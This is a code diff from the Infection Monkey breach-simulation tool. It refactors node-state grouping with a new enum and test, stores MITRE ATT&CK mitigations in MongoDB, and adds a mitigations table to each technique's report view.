from_id = edge["from"] from_id = edge["from"]
to_id = edge["to"] to_id = edge["to"]
try:
from_label = Monkey.get_label_by_id(from_id) from_label = Monkey.get_label_by_id(from_id)
except MonkeyNotFoundError:
from_label = node_service.get_node_by_id(from_id)['domain_name']
if to_id == ObjectId("000000000000000000000000"): if to_id == ObjectId("000000000000000000000000"):
to_label = 'MonkeyIsland' to_label = 'MonkeyIsland'

View File

@ -1,4 +1,6 @@
from datetime import datetime, timedelta from datetime import datetime, timedelta
from typing import Dict
import socket
from bson import ObjectId from bson import ObjectId
@ -6,9 +8,9 @@ import monkey_island.cc.services.log
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey from monkey_island.cc.models import Monkey
from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.edge import EdgeService
from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.utils import local_ip_addresses, is_local_ips
import socket
from monkey_island.cc import models from monkey_island.cc import models
from monkey_island.cc.services.utils.node_states import NodeStates
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
@ -122,20 +124,25 @@ class NodeService:
@staticmethod @staticmethod
def get_monkey_group(monkey): def get_monkey_group(monkey):
keywords = []
if len(set(monkey["ip_addresses"]).intersection(local_ip_addresses())) != 0: if len(set(monkey["ip_addresses"]).intersection(local_ip_addresses())) != 0:
monkey_type = "island_monkey" keywords.extend(["island", "monkey"])
else: else:
monkey_type = "manual" if NodeService.get_monkey_manual_run(monkey) else "monkey" monkey_type = "manual" if NodeService.get_monkey_manual_run(monkey) else "monkey"
keywords.append(monkey_type)
monkey_os = NodeService.get_monkey_os(monkey) keywords.append(NodeService.get_monkey_os(monkey))
monkey_running = "" if Monkey.get_single_monkey_by_id(monkey["_id"]).is_dead() else "_running" if not Monkey.get_single_monkey_by_id(monkey["_id"]).is_dead():
return "%s_%s%s" % (monkey_type, monkey_os, monkey_running) keywords.append("running")
return NodeStates.get_by_keywords(keywords).value
@staticmethod @staticmethod
def get_node_group(node): def get_node_group(node) -> str:
if 'group' in node and node['group']:
return node['group']
node_type = "exploited" if node.get("exploited") else "clean" node_type = "exploited" if node.get("exploited") else "clean"
node_os = NodeService.get_node_os(node) node_os = NodeService.get_node_os(node)
return "%s_%s" % (node_type, node_os) return NodeStates.get_by_keywords([node_type, node_os]).value
@staticmethod @staticmethod
def monkey_to_net_node(monkey, for_report=False): def monkey_to_net_node(monkey, for_report=False):
@ -166,6 +173,12 @@ class NodeService:
"os": NodeService.get_node_os(node) "os": NodeService.get_node_os(node)
} }
@staticmethod
def set_node_group(node_id: str, node_group: NodeStates):
mongo.db.node.update({"_id": node_id},
{'$set': {'group': node_group.value}},
upsert=False)
@staticmethod @staticmethod
def unset_all_monkey_tunnels(monkey_id): def unset_all_monkey_tunnels(monkey_id):
mongo.db.monkey.update( mongo.db.monkey.update(
@ -207,6 +220,49 @@ class NodeService:
}) })
return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id})
@staticmethod
def create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool):
new_node_insert_result = mongo.db.node.insert_one(
{
"ip_addresses": bootloader_telem['ips'],
"domain_name": bootloader_telem['hostname'],
"will_monkey_run": will_monkey_run,
"exploited": False,
"creds": [],
"os":
{
"type": bootloader_telem['system'],
"version": bootloader_telem['os_version']
}
})
return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id})
@staticmethod
def get_or_create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool) -> Dict:
if is_local_ips(bootloader_telem['ips']):
raise NodeCreationException("Bootloader ran on island, no need to create new node.")
new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}})
# Temporary workaround to not create a node after monkey finishes
monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}})
if monkey_node:
# Don't create new node, monkey node is already present
return monkey_node
if new_node is None:
new_node = NodeService.create_node_from_bootloader_telem(bootloader_telem, will_monkey_run)
if bootloader_telem['tunnel']:
dst_node = NodeService.get_node_or_monkey_by_ip(bootloader_telem['tunnel'])
else:
dst_node = NodeService.get_monkey_island_node()
edge = EdgeService.get_or_create_edge(new_node['_id'], dst_node['id'])
mongo.db.edge.update({"_id": edge["_id"]},
{'$set': {'tunnel': bool(bootloader_telem['tunnel']),
'ip_address': bootloader_telem['ips'][0],
'group': NodeStates.get_by_keywords(['island']).value}},
upsert=False)
return new_node
@staticmethod @staticmethod
def get_or_create_node(ip_address, domain_name=''): def get_or_create_node(ip_address, domain_name=''):
new_node = mongo.db.node.find_one({"ip_addresses": ip_address}) new_node = mongo.db.node.find_one({"ip_addresses": ip_address})
@ -354,3 +410,6 @@ class NodeService:
@staticmethod @staticmethod
def get_hostname_by_id(node_id): def get_hostname_by_id(node_id):
return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1}))
class NodeCreationException(Exception):
pass

View File

@ -0,0 +1,12 @@
MIN_GLIBC_VERSION = 2.14
SUPPORTED_WINDOWS_VERSIONS = {
"xp_or_lower": False,
"vista": False,
"vista_sp1": False,
"vista_sp2": True,
"windows7": True,
"windows7_sp1": True,
"windows8_or_greater": True,
}

View File

@ -0,0 +1,56 @@
from __future__ import annotations
from enum import Enum
from typing import List
import collections
class NodeStates(Enum):
CLEAN_UNKNOWN = 'clean_unknown'
CLEAN_LINUX = 'clean_linux'
CLEAN_WINDOWS = 'clean_windows'
EXPLOITED_LINUX = 'exploited_linux'
EXPLOITED_WINDOWS = 'exploited_windows'
ISLAND = 'island'
ISLAND_MONKEY_LINUX = 'island_monkey_linux'
ISLAND_MONKEY_LINUX_RUNNING = 'island_monkey_linux_running'
ISLAND_MONKEY_LINUX_STARTING = 'island_monkey_linux_starting'
ISLAND_MONKEY_WINDOWS = 'island_monkey_windows'
ISLAND_MONKEY_WINDOWS_RUNNING = 'island_monkey_windows_running'
ISLAND_MONKEY_WINDOWS_STARTING = 'island_monkey_windows_starting'
MANUAL_LINUX = 'manual_linux'
MANUAL_LINUX_RUNNING = 'manual_linux_running'
MANUAL_WINDOWS = 'manual_windows'
MANUAL_WINDOWS_RUNNING = 'manual_windows_running'
MONKEY_LINUX = 'monkey_linux'
MONKEY_LINUX_RUNNING = 'monkey_linux_running'
MONKEY_WINDOWS = 'monkey_windows'
MONKEY_WINDOWS_RUNNING = 'monkey_windows_running'
MONKEY_WINDOWS_STARTING = 'monkey_windows_starting'
MONKEY_LINUX_STARTING = 'monkey_linux_starting'
MONKEY_WINDOWS_OLD = 'monkey_windows_old'
MONKEY_LINUX_OLD = 'monkey_linux_old'
@staticmethod
def get_by_keywords(keywords: List) -> NodeStates:
potential_groups = [i for i in NodeStates if NodeStates._is_state_from_keywords(i, keywords)]
if len(potential_groups) > 1:
raise MultipleGroupsFoundException("Multiple groups contain provided keywords. "
"Manually build group string to ensure keyword order.")
elif len(potential_groups) == 0:
raise NoGroupsFoundException("No groups found with provided keywords. "
"Check for typos and make sure group codes want to find exists.")
return potential_groups[0]
@staticmethod
def _is_state_from_keywords(group, keywords) -> bool:
group_keywords = group.value.split("_")
return collections.Counter(group_keywords) == collections.Counter(keywords)
class MultipleGroupsFoundException(Exception):
pass
class NoGroupsFoundException(Exception):
pass

View File

@ -0,0 +1,15 @@
from unittest import TestCase
from monkey_island.cc.services.utils.node_states import NodeStates, NoGroupsFoundException
class TestNodeGroups(TestCase):
def test_get_group_by_keywords(self):
self.assertEqual(NodeStates.get_by_keywords(['island']), NodeStates.ISLAND)
self.assertEqual(NodeStates.get_by_keywords(['running', 'linux', 'monkey']), NodeStates.MONKEY_LINUX_RUNNING)
self.assertEqual(NodeStates.get_by_keywords(['monkey', 'linux', 'running']), NodeStates.MONKEY_LINUX_RUNNING)
with self.assertRaises(NoGroupsFoundException):
NodeStates.get_by_keywords(['bogus', 'values', 'from', 'long', 'list', 'should', 'fail'])

View File

@ -0,0 +1,42 @@
import logging
from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface
from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations
from monkey_island.cc.database import mongo
from pymongo import errors
logger = logging.getLogger(__name__)
def setup():
logger.info("Setting up the Monkey Island, this might take a while...")
try_store_mitigations_on_mongo()
def try_store_mitigations_on_mongo():
mitigation_collection_name = AttackMitigations.COLLECTION_NAME
try:
mongo.db.validate_collection(mitigation_collection_name)
if mongo.db.attack_mitigations.count() == 0:
raise errors.OperationFailure("Mitigation collection empty. Try dropping the collection and running again")
except errors.OperationFailure:
try:
mongo.db.create_collection(mitigation_collection_name)
except errors.CollectionInvalid:
pass
finally:
store_mitigations_on_mongo()
def store_mitigations_on_mongo():
stix2_mitigations = MitreApiInterface.get_all_mitigations()
mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns(MitreApiInterface.get_all_attack_techniques())
mitigation_technique_relationships = MitreApiInterface.get_technique_and_mitigation_relationships()
for relationship in mitigation_technique_relationships:
mongo_mitigations[relationship['target_ref']].add_mitigation(stix2_mitigations[relationship['source_ref']])
for relationship in mitigation_technique_relationships:
mongo_mitigations[relationship['target_ref']].\
add_no_mitigations_info(stix2_mitigations[relationship['source_ref']])
for key, mongo_object in mongo_mitigations.items():
mongo_object.save()

View File

@ -10567,6 +10567,11 @@
"object-visit": "1.0.1" "object-visit": "1.0.1"
} }
}, },
"marked": {
"version": "0.8.2",
"resolved": "https://registry.npmjs.org/marked/-/marked-0.8.2.tgz",
"integrity": "sha512-EGwzEeCcLniFX51DhTpmTom+dSA/MG/OBUDjnWtHbEnjAH180VzUeAw+oE4+Zv+CoYBWyRlYOTR0N8SO9R1PVw=="
},
"md5.js": { "md5.js": {
"version": "1.3.5", "version": "1.3.5",
"resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz", "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz",

View File

@ -81,6 +81,7 @@
"filepond": "^4.7.3", "filepond": "^4.7.3",
"json-loader": "^0.5.7", "json-loader": "^0.5.7",
"jwt-decode": "^2.2.0", "jwt-decode": "^2.2.0",
"marked": "^0.8.2",
"moment": "^2.24.0", "moment": "^2.24.0",
"node-sass": "^4.13.0", "node-sass": "^4.13.0",
"normalize.css": "^8.0.0", "normalize.css": "^8.0.0",

View File

@ -0,0 +1,76 @@
import React from 'react';
import ReactTable from 'react-table';
import marked from 'marked';
import '../../../styles/report/AttackReport.scss';
class MitigationsComponent extends React.Component {
constructor(props) {
super(props);
if (typeof this.props.mitigations !== 'undefined' && this.props.mitigations.length > 0){
this.state = {mitigations: this.props.mitigations};
} else {
this.state = {mitigations: null}
}
}
static createRows(descriptions, references) {
let rows = [];
for(let i = 0; i < descriptions.length; i++){
rows[i] = {'description': descriptions[i], 'reference': references[i]};
}
return rows;
}
static parseDescription(description) {
const citationRegex = /\(Citation:.*\)/gi;
const emptyLineRegex = /^\s*[\r\n]/gm;
description = description.replace(citationRegex, '');
description = description.replace(emptyLineRegex, '');
description = marked(description);
return description;
}
static getMitigations() {
return ([{
Header: 'Mitigations',
style: {'text-align': 'left'},
columns: [
{ id: 'name',
accessor: x => this.getMitigationName(x.name, x.url),
width: 200},
{ id: 'description',
accessor: x => (<div dangerouslySetInnerHTML={{__html: this.parseDescription(x.description)}} />),
style: {'whiteSpace': 'unset'}}
]
}])
}
static getMitigationName(name, url) {
if(url){
return (<a href={url} target={'_blank'}>{name}</a>)
} else {
return (<p>{name}</p>)
}
}
render() {
return (
<div>
<br/>
{this.state.mitigations ?
<ReactTable
columns={MitigationsComponent.getMitigations()}
data={this.state.mitigations}
showPagination={false}
defaultPageSize={this.state.mitigations.length}
className={'attack-mitigation'}
/> : ''}
</div>
);
}
}
export default MitigationsComponent;

View File

@ -2,6 +2,7 @@ import React from 'react';
import '../../report-components/security/StolenPasswords' import '../../report-components/security/StolenPasswords'
import StolenPasswordsComponent from '../../report-components/security/StolenPasswords'; import StolenPasswordsComponent from '../../report-components/security/StolenPasswords';
import {ScanStatus} from './Helpers' import {ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1003 extends React.Component { class T1003 extends React.Component {
@ -19,6 +20,7 @@ class T1003 extends React.Component {
<StolenPasswordsComponent <StolenPasswordsComponent
data={this.props.data.stolen_creds}/> data={this.props.data.stolen_creds}/>
: ''} : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachineFromSystemData, ScanStatus} from './Helpers'; import {renderMachineFromSystemData, ScanStatus} from './Helpers';
import MitigationsComponent from './MitigationsComponent';
class T1005 extends React.Component { class T1005 extends React.Component {
@ -36,6 +37,7 @@ class T1005 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.collected_data.length} defaultPageSize={this.props.data.collected_data.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from './Helpers' import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1016 extends React.Component { class T1016 extends React.Component {
@ -36,6 +37,7 @@ class T1016 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.network_info.length} defaultPageSize={this.props.data.network_info.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachineFromSystemData, renderMachine, ScanStatus} from './Helpers' import {renderMachineFromSystemData, renderMachine, ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1018 extends React.Component { class T1018 extends React.Component {
@ -50,6 +51,7 @@ class T1018 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.scan_info.length} defaultPageSize={this.props.data.scan_info.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachine, ScanStatus} from './Helpers' import {renderMachine, ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1021 extends React.Component { class T1021 extends React.Component {
@ -16,7 +17,13 @@ class T1021 extends React.Component {
Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: {'whiteSpace': 'unset'}, width: 160 style: {'whiteSpace': 'unset'}, width: 160
}, },
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100}, {
Header: 'Service',
id: 'service',
accessor: x => x.info.display_name,
style: {'whiteSpace': 'unset'},
width: 100
},
{ {
Header: 'Valid account used', Header: 'Valid account used',
id: 'credentials', id: 'credentials',
@ -43,6 +50,7 @@ class T1021 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.services.length} defaultPageSize={this.props.data.services.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {getUsageColumns} from './Helpers' import {getUsageColumns} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1035 extends React.Component { class T1035 extends React.Component {
@ -21,6 +22,7 @@ class T1035 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.services.length} defaultPageSize={this.props.data.services.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {ScanStatus} from './Helpers'; import {ScanStatus} from './Helpers';
import MitigationsComponent from './MitigationsComponent';
class T1041 extends React.Component { class T1041 extends React.Component {
@ -30,6 +31,7 @@ class T1041 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.command_control_channel.length} defaultPageSize={this.props.data.command_control_channel.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachine, ScanStatus} from './Helpers' import {renderMachine, ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1059 extends React.Component { class T1059 extends React.Component {
@ -38,6 +39,7 @@ class T1059 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.cmds.length} defaultPageSize={this.props.data.cmds.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {getUsageColumns} from './Helpers' import {getUsageColumns} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1064 extends React.Component { class T1064 extends React.Component {
@ -21,6 +22,7 @@ class T1064 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.scripts.length} defaultPageSize={this.props.data.scripts.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,4 +1,5 @@
import React from 'react'; import React from 'react';
import MitigationsComponent from './MitigationsComponent';
class T1065 extends React.Component { class T1065 extends React.Component {
@ -7,6 +8,7 @@ class T1065 extends React.Component {
return ( return (
<div> <div>
<div>{this.props.data.message}</div> <div>{this.props.data.message}</div>
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachine, ScanStatus} from './Helpers' import {renderMachine, ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1075 extends React.Component { class T1075 extends React.Component {
@ -41,6 +42,7 @@ class T1075 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.successful_logins.length} defaultPageSize={this.props.data.successful_logins.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from './Helpers' import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1082 extends React.Component { class T1082 extends React.Component {
@ -12,14 +13,18 @@ class T1082 extends React.Component {
static getSystemInfoColumns() { static getSystemInfoColumns() {
return ([{ return ([{
columns: [ columns: [
{ Header: 'Machine', {
Header: 'Machine',
id: 'machine', id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine), accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}}, style: {'whiteSpace': 'unset'}
{ Header: 'Gathered info', },
{
Header: 'Gathered info',
id: 'info', id: 'info',
accessor: x => renderUsageFields(x.collections), accessor: x => renderUsageFields(x.collections),
style: {'whiteSpace': 'unset'}} style: {'whiteSpace': 'unset'}
}
] ]
}]) }])
} }
@ -36,6 +41,7 @@ class T1082 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.system_info.length} defaultPageSize={this.props.data.system_info.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachine, ScanStatus} from './Helpers' import {renderMachine, ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1086 extends React.Component { class T1086 extends React.Component {
@ -21,7 +22,12 @@ class T1086 extends React.Component {
width: 160 width: 160
}, },
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: {'whiteSpace': 'unset'}}, {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: {'whiteSpace': 'unset'}},
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: {'whiteSpace': 'unset'}} {
Header: 'Command',
id: 'command',
accessor: x => x.data[0].info.executed_cmds[0].cmd,
style: {'whiteSpace': 'unset'}
}
] ]
}]) }])
} }
@ -38,6 +44,7 @@ class T1086 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.cmds.length} defaultPageSize={this.props.data.cmds.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachineFromSystemData, ScanStatus} from './Helpers' import {renderMachineFromSystemData, ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1090 extends React.Component { class T1090 extends React.Component {
@ -33,6 +34,7 @@ class T1090 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.proxies.length} defaultPageSize={this.props.data.proxies.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {ScanStatus} from './Helpers' import {ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1105 extends React.Component { class T1105 extends React.Component {
@ -32,6 +33,7 @@ class T1105 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.files.length} defaultPageSize={this.props.data.files.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {getUsageColumns} from './Helpers' import {getUsageColumns} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1106 extends React.Component { class T1106 extends React.Component {
@ -21,6 +22,7 @@ class T1106 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.api_uses.length} defaultPageSize={this.props.data.api_uses.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachineFromSystemData, ScanStatus} from './Helpers' import {renderMachineFromSystemData, ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1107 extends React.Component { class T1107 extends React.Component {
@ -46,6 +47,7 @@ class T1107 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.deleted_files.length} defaultPageSize={this.props.data.deleted_files.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachine, ScanStatus} from './Helpers' import {renderMachine, ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent'
class T1110 extends React.Component { class T1110 extends React.Component {
@ -46,6 +47,7 @@ class T1110 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.services.length} defaultPageSize={this.props.data.services.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {getUsageColumns} from './Helpers'; import {getUsageColumns} from './Helpers';
import MitigationsComponent from './MitigationsComponent';
class T1129 extends React.Component { class T1129 extends React.Component {
@ -20,6 +21,7 @@ class T1129 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.dlls.length} defaultPageSize={this.props.data.dlls.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachineFromSystemData, ScanStatus} from './Helpers' import {renderMachineFromSystemData, ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1145 extends React.Component { class T1145 extends React.Component {
@ -49,6 +50,7 @@ class T1145 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.ssh_info.length} defaultPageSize={this.props.data.ssh_info.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachineFromSystemData, ScanStatus} from './Helpers' import {renderMachineFromSystemData, ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1188 extends React.Component { class T1188 extends React.Component {
@ -47,6 +48,7 @@ class T1188 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.hops.length} defaultPageSize={this.props.data.hops.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachine} from './Helpers' import {renderMachine} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1210 extends React.Component { class T1210 extends React.Component {
@ -49,6 +50,7 @@ class T1210 extends React.Component {
</div> </div>
<br/> <br/>
{this.renderExploitedMachines()} {this.renderExploitedMachines()}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachine} from './Helpers' import {renderMachine} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1210 extends React.Component { class T1210 extends React.Component {
@ -99,6 +100,7 @@ class T1210 extends React.Component {
this.renderScannedServices(scanned_services) : ''} this.renderScannedServices(scanned_services) : ''}
{this.props.data.exploited_services.length > 0 ? {this.props.data.exploited_services.length > 0 ?
this.renderExploitedServices(this.props.data.exploited_services) : ''} this.renderExploitedServices(this.props.data.exploited_services) : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import ReactTable from 'react-table'; import ReactTable from 'react-table';
import {renderMachine, ScanStatus} from './Helpers' import {renderMachine, ScanStatus} from './Helpers'
import MitigationsComponent from './MitigationsComponent';
class T1222 extends React.Component { class T1222 extends React.Component {
@ -31,6 +32,7 @@ class T1222 extends React.Component {
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.commands.length} defaultPageSize={this.props.data.commands.length}
/> : ''} /> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div> </div>
); );
} }

View File

@ -1,16 +1,11 @@
const groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island', let getGroupsOptions = (stateList) => {
'island_monkey_linux', 'island_monkey_linux_running', 'island_monkey_windows', 'island_monkey_windows_running',
'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux',
'monkey_linux_running', 'monkey_windows', 'monkey_windows_running'];
let getGroupsOptions = () => {
let groupOptions = {}; let groupOptions = {};
for (let groupName of groupNames) { for (let stateName of stateList) {
groupOptions[groupName] = groupOptions[stateName] =
{ {
shape: 'image', shape: 'image',
size: 50, size: 50,
image: require('../../images/nodes/' + groupName + '.png') image: require('../../images/nodes/' + stateName + '.png')
}; };
} }
@ -52,11 +47,11 @@ export const basic_options = {
} }
}; };
export const options = (() => { export function getOptions(stateList) {
let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */ let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */
opts.groups = getGroupsOptions(); opts.groups = getGroupsOptions(stateList);
return opts; return opts;
})(); }
export const optionsPth = (() => { export const optionsPth = (() => {
let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */ let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */

View File

@ -1,246 +0,0 @@
import React from 'react';
import Toggle from 'react-toggle';
import {OverlayTrigger, Tooltip} from 'react-bootstrap';
import download from 'downloadjs'
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
class InfMapPreviewPaneComponent extends PreviewPaneComponent {
osRow(asset) {
return (
<tr>
<th>Operating System</th>
<td>{asset.os.charAt(0).toUpperCase() + asset.os.slice(1)}</td>
</tr>
);
}
ipsRow(asset) {
return (
<tr>
<th>IP Addresses</th>
<td>{asset.ip_addresses.map(val => <div key={val}>{val}</div>)}</td>
</tr>
);
}
servicesRow(asset) {
return (
<tr>
<th>Services</th>
<td>{asset.services.map(val => <div key={val}>{val}</div>)}</td>
</tr>
);
}
accessibleRow(asset) {
return (
<tr>
<th>
